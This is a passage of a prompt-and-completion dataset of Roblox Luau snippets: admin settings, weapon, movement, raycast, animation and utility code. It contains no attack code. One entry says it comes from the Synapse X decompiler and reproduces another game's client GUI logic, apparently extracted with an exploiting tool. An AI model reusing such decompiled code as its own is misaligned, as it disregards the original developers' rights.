\tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= false;\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\nRankRequiredToViewIcon\t\t= 0;\n\nWelcomeRankNotice\t\t\t= true;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= true;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= true;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= false;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\nCommandLimits\t\t\t\t= {\t\t\t\t-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.\n\t[\"fly\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"fly2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"speed\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"jumpPower\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n};\n\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\n\n\n"} +{"prompt": "-- 100 == 1 0 == 0 1/0.5", "completion": "\n\nfunction JamCalculation()\n\tlocal L_179_\n\tif (math.random(1, 100) <= L_24_.JamChance) then\t\n\t\tL_179_ = true\n\t\tL_72_ = true\n\telse\n\t\tL_179_ = false\n\tend\n\treturn L_179_\nend\n\nfunction TracerCalculation()\n\tlocal L_180_\n\tif (math.random(1, 100) <= L_24_.TracerChance) then\t\n\t\tL_180_ = true\n\telse\n\t\tL_180_ = false\n\tend\n\treturn L_180_\nend\n\nfunction ScreamCalculation()\n\tlocal L_181_\n\tif (math.random(1, 100) <= L_24_.SuppressCalloutChance) then\t\n\t\tL_181_ = true\n\telse\n\t\tL_181_ = false\n\tend\n\treturn L_181_\nend\n\nfunction SearchResupply(L_182_arg1)\n\tlocal L_183_ = false\n\tlocal L_184_ = nil\n\t\n\tif L_182_arg1:FindFirstChild('ResupplyVal') or L_182_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\tL_183_ = true\n\t\tif L_182_arg1:FindFirstChild('ResupplyVal') then\n\t\t\tL_184_ = L_182_arg1.ResupplyVal\n\t\telseif L_182_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\t\tL_184_ = L_182_arg1.Parent.ResupplyVal\n\t\tend\n\tend\n\treturn L_183_, L_184_\nend\n\nfunction CheckReverb()\n\tlocal L_185_, L_186_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);\n\t\t\n\tif L_185_ then\n\t\tlocal L_187_ = L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new(\"ReverbSoundEffect\", L_56_:WaitForChild('Fire'))\n\telseif not L_185_ then\n\t\tif L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then\n\t\t\tL_56_.Fire.ReverbSoundEffect:Destroy()\n\t\tend\n\tend\nend\n\nfunction UpdateAmmo()\n\tL_29_.Text = L_100_\n\tL_30_.Text = L_29_.Text\n\t\n\tL_31_.Text = '| ' .. math.ceil(L_101_ / L_24_.StoredAmmo)\n\tL_32_.Text = L_31_.Text\n\t\n\tif L_90_ == 0 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007495\n\telseif L_90_ == 1 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007947\n\telseif L_90_ == 2 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868008584\n\tend\n\t\n\tif L_89_ == 1 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0.7\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_89_ == 2 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0\n\telseif L_89_ == 3 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_89_ == 4 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_89_ == 5 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_89_ == 6 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\tend\n\t\nend\n"} +{"prompt": "--[[\n\tReturns the current value of this Tween object.\n\tThe object will be registered as a dependency unless `asDependency` is false.\n]]", "completion": "\nfunction class:get(asDependency: boolean?): any\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._currentValue\nend\n"} +{"prompt": "--[[]]", "completion": "--\nfunction FlyOn()\nif COOLDOWN == true then return else end\nlocal torso = Cha.Torso\ndb = true \nCha[\"Left Leg\"].Transparency = 1\nCha[\"Right Leg\"].Transparency = 1\nlocal gs = script.ParticleEmitter:Clone()\ngs.Parent = Cha.Torso"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.3\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\nlocal jumpMaxLimbVelocity = 0.75\n"} +{"prompt": "--[=[\n\t@param data table\n\t@return Option\n\tDeserializes the data into an Option. This data should have come from\n\tthe `option:Serialize()` method.\n]=]", "completion": "\nfunction Option.Deserialize(data) -- type data = {ClassName: string, Value: any}\n\tassert(type(data) == \"table\" and data.ClassName == CLASSNAME, \"Invalid data for deserializing Option\")\n\treturn data.Value == nil and Option.None or Option.Some(data.Value)\nend\n\n"} +{"prompt": "--[=[\n\t@return Shake\n\tCreates a new shake with identical properties as\n\tthis one. This does _not_ clone over playing state,\n\tand thus the cloned instance will be in a stopped\n\tstate.\n\n\tA use-case for using `Clone` would be to create a module\n\twith a list of shake presets. These presets can be cloned\n\twhen desired for use. For instance, there might be presets\n\tfor explosions, recoil, or earthquakes.\n\n\t```lua\n\t--------------------------------------\n\t-- Example preset module\n\tlocal ShakePresets = {}\n\n\tlocal explosion = Shake.new()\n\t-- Configure `explosion` shake here\n\tShakePresets.Explosion = explosion\n\n\treturn ShakePresets\n\t--------------------------------------\n\n\t-- Use the module:\n\tlocal ShakePresets = require(somewhere.ShakePresets)\n\tlocal explosionShake = ShakePresets.Explosion:Clone()\n\t```\n]=]", "completion": "\nfunction Shake:Clone()\n\tlocal shake = Shake.new()\n\tlocal cloneFields = {\n\t\t\"Amplitude\", \"Frequency\", \"FadeInTime\",\n\t\t\"FadeOutTime\", \"SustainTime\", \"Sustain\",\n\t\t\"PositionInfluence\", \"RotationInfluence\",\n\t\t\"TimeFunction\"\n\t}\n\tfor _,field in ipairs(cloneFields) do\n\t\tshake[field] = self[field]\n\tend\n\treturn shake\nend\n\n"} +{"prompt": "--", "completion": "\n\nlocal function Dash()\n\tlocal character = player.Character\n\tif character and not debounce then\n\t\tdebounce = true\n\t\t-- now we begin the dash script here\n\n\t\tlocal humanoid = character.Humanoid\n\t\tlocal HRP = character.HumanoidRootPart -- HRP stands for HumanoidRootPart\n\n\t\tlocal loadedAnimation = humanoid.Animator:LoadAnimation(DashAnimation)\n\n\t\tlocal dashDirection = nil\n\t\tlocal moveDirection = humanoid.MoveDirection\n\t\tlocal lookVector = HRP.CFrame.LookVector\n\t\tlocal minusVelocity = -velocity -- in CFrame, if we set Z to positive, player will go move backward\n\t\t-- instead of forward\n\n\t\t-- checking if player is on ground, not floating\n\t\tlocal isOnGround = humanoid.FloorMaterial ~= Enum.Material.Air and humanoid.FloorMaterial ~= Enum.Material.Water\n\n\t\tif isOnGround then\n\n\n\t\t\tif moveDirection == Vector3.new(0,0,0) then -- if player is not currently moving/walking\n\t\t\t\tdashDirection = HRP.Position + Vector3.new(lookVector.X, 0, lookVector.Z)\n\t\t\telse -- if player are currently moving/walking\n\t\t\t\tdashDirection = HRP.Position + Vector3.new(moveDirection.X, 0, moveDirection.Z)\n\t\t\tend\n\n\t\t\t-- using bodygyro to rotate player to the dash direction smoothly\n\t\t\tlocal bodyGyro = Instance.new(\"BodyGyro\")\n\t\t\tbodyGyro.Parent = HRP\n\t\t\tbodyGyro.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tbodyGyro.D = 0 -- D is the dampening\n\t\t\tbodyGyro.P = 500000 -- P is aggressiveness\n\t\t\tbodyGyro.CFrame = CFrame.lookAt(HRP.Position, dashDirection) -- Making player look at the dash direction\n\n\t\t\tlocal attachment = Instance.new(\"Attachment\")\n\t\t\tattachment.Parent = HRP\n\n\t\t\t-- now using VectorForce to move player forward\n\t\t\tlocal vectorForce = Instance.new(\"VectorForce\")\n\t\t\tvectorForce.Parent = HRP\n\t\t\t-- VectorForce need attachment to tell where is player looking at\n\t\t\tvectorForce.Attachment0 = attachment\n\t\t\tvectorForce.Force = Vector3.new(0,0,minusVelocity) -- now it will move player forward as the settings\n\n\t\t\tloadedAnimation:Play() -- play the dash animation\n\t\t\thumanoid.AutoRotate = false -- prevent player to rotate by themselves\n\n\t\t\twait(duration)\n\n\t\t\thumanoid.AutoRotate = true\n\n\t\t\tvectorForce:Destroy()\n\t\t\tbodyGyro:Destroy()\n\t\t\tattachment:Destroy()\n\n\t\t\t--wait(duration) -- give some time before stopping the dash animation\n\t\t\tloadedAnimation:Stop()\n\n\t\tend\n\n\n\t\t--\n\t\twait(cooldown)\n\t\tdebounce = false\n\tend\nend\n\nUserInputService.InputBegan:Connect(function(input)\n\tif input.KeyCode == key then\n\t\tDash()\n\tend\nend)\n"} +{"prompt": "--//", "completion": "\n\nfunction Raycast:Raycast(Origin, Direction)\n\tlocal CompletedRaycast = false\n\tlocal NumberPenetrations = 0\n\tlocal NumberChecks = 0\n\tlocal MaxChecks = 10000\n\tlocal FinalResult = nil\n\t\n\twhile not CompletedRaycast do\n\t\tlocal RaycastResult = workspace:Raycast(Origin, Direction, self.Parameters)\n\t\tlocal NormalizedSize = RaycastResult and (RaycastResult.Instance.Size * RaycastResult.Normal)\n\t\tlocal Distance = RaycastResult and Direction.Unit * (RaycastResult.Position - Origin).Magnitude\n\t\t\n\t\tif NumberChecks == MaxChecks then\n\t\t\tbreak\n\t\tend\n\n\t\tlocal canCollideCheck, visibilityCheck, penetrateBecauseSmallSize, ignorePart\n\t\t\n\t\tif RaycastResult == nil then\n\t\t\tbreak\n\t\telse\n\t\t\tlocal transparency = RaycastResult.Instance.Transparency + (1 * RaycastResult.Instance.localTransparencyModifier)\n\n\t\t\tvisibilityCheck = not self.InvisiblePartsBlockRaycast and transparency >= self.MinTransparencyToBeInvisible\n\t\t\tcanCollideCheck = self.AllowCanCollideFalse and RaycastResult.Instance.CanCollide == false\n\t\t\tignorePart = canCollideCheck or visibilityCheck\n\n\t\t\tpenetrateBecauseSmallSize = NumberPenetrations < self.MaxPenetrations and NormalizedSize.Magnitude <= self.Penetration\n\t\tend\n\n\t\tif ignorePart then\n\t\t\tOrigin = RaycastResult.Position - RaycastResult.Normal*0.001\n\t\t\tDirection -= Distance\n\t\telseif penetrateBecauseSmallSize then\n\t\t\tNumberPenetrations += 1\n\t\t\tOrigin = RaycastResult.Position - RaycastResult.Normal * NormalizedSize.Magnitude * 0.999\n\t\t\tDirection -= Distance\n\t\telse\n\t\t\tFinalResult = RaycastResult\n\t\t\tCompletedRaycast = true\n\t\t\tbreak\n\t\tend\n\t\t\n\t\tNumberChecks += 1\n\tend\n\n\treturn FinalResult, NumberPenetrations\nend\n"} +{"prompt": "--Raycasting collision", "completion": "\nfunction collision_module.Raycast(wl, from, dir)\n\tlocal param = RaycastParams.new()\n\tparam.FilterType = Enum.RaycastFilterType.Whitelist\n\tparam.FilterDescendantsInstances = wl\n\tparam.IgnoreWater = true\n\tlocal result = workspace:Raycast(from, dir, param)\n\tif result then\n\t\treturn result.Instance, result.Position, result.Normal, result.Material\n\telse\n\t\treturn nil, from + dir, nil, Enum.Material.Air\n\tend\nend\n"} +{"prompt": "-- GUI Elements", "completion": "\nlocal gui = script.Parent\nlocal textDisplay = gui.Header\nlocal displayImage = gui.DisplayImage\n\nlocal scriptAttributes = script:GetAttributes()\n\nlocal function displayEndScreen(state, transitionTime)\n\t-- Make the GUI visible\n\t\n\tgui.Visible = true\n\t\n\tif state == \"Victory\" then\n\t\ttextDisplay.Text = gui:GetAttribute(\"messageVictory\")\n\t\tdisplayImage.Image = gui:GetAttribute(\"imageVictory\")\n\telseif state == \"Defeat\" then\n\t\ttextDisplay.Text = gui:GetAttribute(\"messageDefeat\")\n\t\tdisplayImage.Image = gui:GetAttribute(\"imageDefeat\")\n\telse\n\t\twarn(\"Invalid end game state fired on client GUI\")\n\tend\n\t\n\twait(transitionTime)\n\tgui.Visible = false\n\t\nend\n\nClientEndGame.OnClientEvent:Connect(displayEndScreen)\n\n"} +{"prompt": "-- emote bindable hook", "completion": "\nif FFlagAnimateScriptEmoteHook then\n\tscript:WaitForChild(\"PlayEmote\").OnInvoke = function(emote)\n\t\t-- Only play emotes when idling\n\t\tif pose ~= \"Standing\" then\n\t\t\treturn\n\t\tend\n\n\t\tif emoteNames[emote] ~= nil then\n\t\t\t-- Default emotes\n\t\t\tplayAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\n\t\t\tif userPlayEmoteByIdAnimTrackReturn then\n\t\t\t\treturn true, currentAnimTrack\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\telseif typeof(emote) == \"Instance\" and emote:IsA(\"Animation\") then\n\t\t\t-- Non-default emotes\n\t\t\tplayEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\n\t\t\tif userPlayEmoteByIdAnimTrackReturn then\n\t\t\t\treturn true, currentAnimTrack\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\n\t\t-- Return false to indicate that the emote could not be played\n\t\treturn false\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nfunction CanOpenWindow()\n\tlocal v2 = v1.Variables.OpeningEgg;\n\tif not v2 then\n\t\tv2 = v1.Variables.UsingMachine or (v1.Variables.UsingCannon or (v1.Variables.LoadingWorld or (v1.Variables.PickingStarter or v1.Variables.Trading)));\n\tend;\n\treturn not v2;\nend;\nlocal u1 = false;\nlocal l__ID__2 = v1.Directory.Gamepasses.Teleport.ID;\nfunction HookButton(p1)\n\tlocal l__Button__3 = p1.Button;\n\tlocal l__Name__4 = p1.Name;\n\tlocal v5 = v1.GUI[l__Name__4];\n\tv1.GFX.Button(l__Button__3);\n\tif not v5 then\n\t\treturn;\n\tend;\n\tlocal function u3()\n\t\tif not u1 then\n\t\t\tu1 = true;\n\t\t\tif not CanOpenWindow() then\n\t\t\t\tif v5.Gui.Enabled then\n\t\t\t\t\tif v5.Gui.Name ~= \"Trading\" then\n\t\t\t\t\t\tif v5.Gui.Enabled == true then\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tv1.Window.GuaranteeCloseCurrentWindow(l__Name__4)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tv1.Window.GuaranteeOpenWindow(l__Name__4)\n\t\t\t\t\t\tend\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\telseif l__Name__4 == \"Teleport\" then\n\t\t\t\tif not v1.Gamepasses.Owns(l__ID__2) then\n\t\t\t\t\tv1.Functions.PromptPurchase(l__ID__2);\n\t\t\t\telse\n\t\t\t\t\tif v5.Gui.Enabled == true then\n\t\t\t\t\t\tv1.Window.GuaranteeCloseCurrentWindow(l__Name__4)\n\t\t\t\t\telse\n\t\t\t\t\t\tv1.Window.GuaranteeOpenWindow(l__Name__4)\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tif v5.Gui.Enabled == true then\n\t\t\t\t\tv1.Window.GuaranteeCloseCurrentWindow(l__Name__4)\n\t\t\t\telse\n\t\t\t\t\tv1.Window.GuaranteeOpenWindow(l__Name__4)\n\t\t\t\tend\n\t\t\tend;\n\t\t\tu1 = false;\n\t\tend;\n\tend;\n\tl__Button__3.Activated:Connect(function()\n\t\tu3();\n\tend);\n\tif p1.Name == \"Inventory\" then\n\t\tv1.UserInputService.InputBegan:Connect(function(p2, p3)\n\t\t\tif not p3 then\n\t\t\t\tif p2.KeyCode ~= Enum.KeyCode.X then\n\t\t\t\t\tif p2.KeyCode == Enum.KeyCode.ButtonY then\n\n\t\t\t\t\telse\n\t\t\t\t\t\treturn;\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tu3();\n\t\t\t\t\treturn;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tu3();\n\t\tend);\n\tend;\n\tif p1:FindFirstChild(\"Title\") then\n\t\tl__Button__3.MouseEnter:Connect(function()\n\t\t\tif not v1.Variables.Mobile then\n\t\t\t\tp1.Title.Visible = true;\n\t\t\tend;\n\t\tend);\n\t\tl__Button__3.MouseLeave:Connect(function()\n\t\t\tif not v1.Variables.Mobile then\n\t\t\t\tp1.Title.Visible = false;\n\t\t\tend;\n\t\tend);\n\tend;\nend;\n\n\tfor v6, v7 in ipairs(v1.GUI.Main.LeftButtons:GetChildren()) do\n\tif not v6 then\n\t\tbreak;\n\tend;\n\tif v7:IsA(\"GuiObject\") then\n\n\t\t\tfor v9, v10 in ipairs(v7:GetChildren()) do\n\t\t\tif not v9 then\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tif v10:IsA(\"GuiObject\") then\n\t\t\t\tHookButton(v10);\n\t\t\tend;\t\t\n\t\tend;\n\tend;\nend;\n\n"} +{"prompt": "-- Get the NPC's Humanoid", "completion": "\nlocal humanoid = npc:FindFirstChild(\"Humanoid\")\n\nif humanoid then\n\t-- Set the NPC's health to the new value\n\thumanoid.MaxHealth = newHealth\n\thumanoid.Health = newHealth\nelse\n\twarn(\"This NPC does not have a Humanoid.\")\nend\n"} +{"prompt": "--[=[\n\tStart the shake effect.\n\n\t:::note\n\tThis **must** be called before calling `Update`. As such, it should also be\n\tcalled once before or after calling `OnSignal` or `BindToRenderStep` methods.\n\t:::\n]=]", "completion": "\nfunction Shake:Start()\n\tself._startTime = self.TimeFunction()\n\tself._running = true\n\tself._trove:Add(function()\n\t\tself._running = false\n\tend)\nend\n\n"} +{"prompt": "--[[\n\tCreate a new expectation\n]]", "completion": "\nfunction Expectation.new(value)\n\tlocal self = {\n\t\tvalue = value,\n\t\tsuccessCondition = true,\n\t\tcondition = false\n\t}\n\n\tsetmetatable(self, Expectation)\n\n\tself.a = bindSelf(self, self.a)\n\tself.an = self.a\n\tself.ok = bindSelf(self, self.ok)\n\tself.equal = bindSelf(self, self.equal)\n\tself.throw = bindSelf(self, self.throw)\n\tself.near = bindSelf(self, self.near)\n\n\treturn self\nend\n\nfunction Expectation.__index(self, key)\n\t-- Keys that don't do anything except improve readability\n\tif SELF_KEYS[key] then\n\t\treturn self\n\tend\n\n\t-- Invert your assertion\n\tif NEGATION_KEYS[key] then\n\t\tlocal newExpectation = Expectation.new(self.value)\n\t\tnewExpectation.successCondition = not self.successCondition\n\n\t\treturn newExpectation\n\tend\n\n\t-- Fall back to methods provided by Expectation\n\treturn Expectation[key]\nend\n"} +{"prompt": "-- find player's head pos", "completion": "\n\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\n\tlocal head = vCharacter:findFirstChild(\"Head\")\n\tif head == nil then return end\n\n\tlocal dir = head.CFrame.LookVector\n\n\t--local launch = head.Position + 5 * dir\n\n\t--local delta = mouse_pos - launch\n\t\n\t--local dy = delta.y\n\t\n\t--local new_delta = Vector3.new(delta.x, 0, delta.z)\n\t--delta = new_delta\n\n\t--local dx = delta.magnitude\n\t--local unit_delta = delta.unit\n\t\n\t-- acceleration due to gravity in RBX units\n\tlocal g = (-9.81 * 20)\n\n\t\n\n\tlocal missile = Pellet:clone()\n \n\n\tTool.Handle.Mesh:clone().Parent = missile\n\t\t\n\n\tmissile.Position = head.Position + 5 * dir\n\tmissile.Velocity = dir * VELOCITY\n\tmissile.RotVelocity = Vector3.new(5,0,0)\n\n\tmissile.PelletScript.Disabled = false\n\n\tmissile.Parent = game.Workspace\n\nend\n\n\nfunction computeLaunchAngle(dx,dy,grav)\n\t-- arcane\n\t-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile\n\t\n\tlocal g = math.abs(grav)\n\tlocal inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))\n\tif inRoot <= 0 then\n\t\treturn .25 * math.pi\n\tend\n\tlocal root = math.sqrt(inRoot)\n\tlocal inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)\n\n\tlocal inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)\n\tlocal answer1 = math.atan(inATan1)\n\tlocal answer2 = math.atan(inATan2)\n\tif answer1 < answer2 then return answer1 end\n\treturn answer2\nend\n\nfunction computeDirection(vec)\n\tlocal lenSquared = vec.magnitude * vec.magnitude\n\tlocal invSqrt = 1 / math.sqrt(lenSquared)\n\treturn Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)\nend\n\n\n\n\nTool.Enabled = true\nfunction onActivated()\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\n\n\tlocal targetPos = humanoid.TargetPoint\n\n\tfire(targetPos)\n\twait(3)\n\t\n\tif (Tool.Parent:FindFirstChild(\"Torso\") ~= nil) then\n\t\tTool.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 0.6\n\t\tTool.Parent.Torso[\"Right Shoulder\"].DesiredAngle = -3.6\n\tend\n\t\twait(.1)\n\tTool.Handle.Transparency=0\n\twait(.1)\n\tTool.Enabled = true\n\n\nend\n\nscript.Parent.Activated:connect(onActivated)\n"} +{"prompt": "--custom cat stuff", "completion": "\n\nfunction AlarmHazards(typ)\n\tblinking = false\n\tblinking = true\n\twhile blinking and script.Parent.Parent.Alarm.Value == true do\n\t\tToggle(\"Hazards\", true)\n\t\twait(1/3)\n\t\tToggle(\"Hazards\", false)\n\t\twait(1/3)\n\tend\n\tToggle('Hazards', false)\nend\n\nscript.Parent.Parent.Alarm.Changed:Connect(function()\n\tif script.Parent.Parent.Alarm.Value == true then\n\t\tAlarmHazards()\n\tend\nend)\n"} +{"prompt": "--[[**\n\tensures value is either nil or passes check\n\n\t@param check The check to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.optional(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tif value == nil then\n\t\t\treturn true\n\t\tend\n\t\tlocal success, errMsg = check(value)\n\t\tif success then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"(optional) %s\", errMsg or \"\")\n\t\tend\n\tend\nend\n"} +{"prompt": "--Used to visualize waypoints", "completion": "\nlocal visualWaypoint = Instance.new(\"Part\")\nvisualWaypoint.Size = Vector3.new(0.3, 0.3, 0.3)\nvisualWaypoint.Anchored = true\nvisualWaypoint.CanCollide = false\nvisualWaypoint.Material = Enum.Material.Neon\nvisualWaypoint.Shape = Enum.PartType.Ball\n"} +{"prompt": "--[=[\n\tA boolean which determines if a ScriptConnection is active or not.\n\n\t@prop Connected boolean\n\t@within ScriptConnection\n\n\t@readonly\n\t@ignore\n]=]", "completion": "\n\nexport type Class = typeof(setmetatable({\n _active = true,\n _head = nil :: ScriptConnectionNode?,\n}, ScriptSignal))\n\nexport type ScriptConnection = typeof(setmetatable({\n Connected = true,\n _node = nil :: ScriptConnectionNode?,\n}, ScriptConnection))\n\ntype ScriptConnectionNode = {\n _signal: Class,\n _connection: ScriptConnection?,\n _handler: (...any) -> (),\n\n _next: 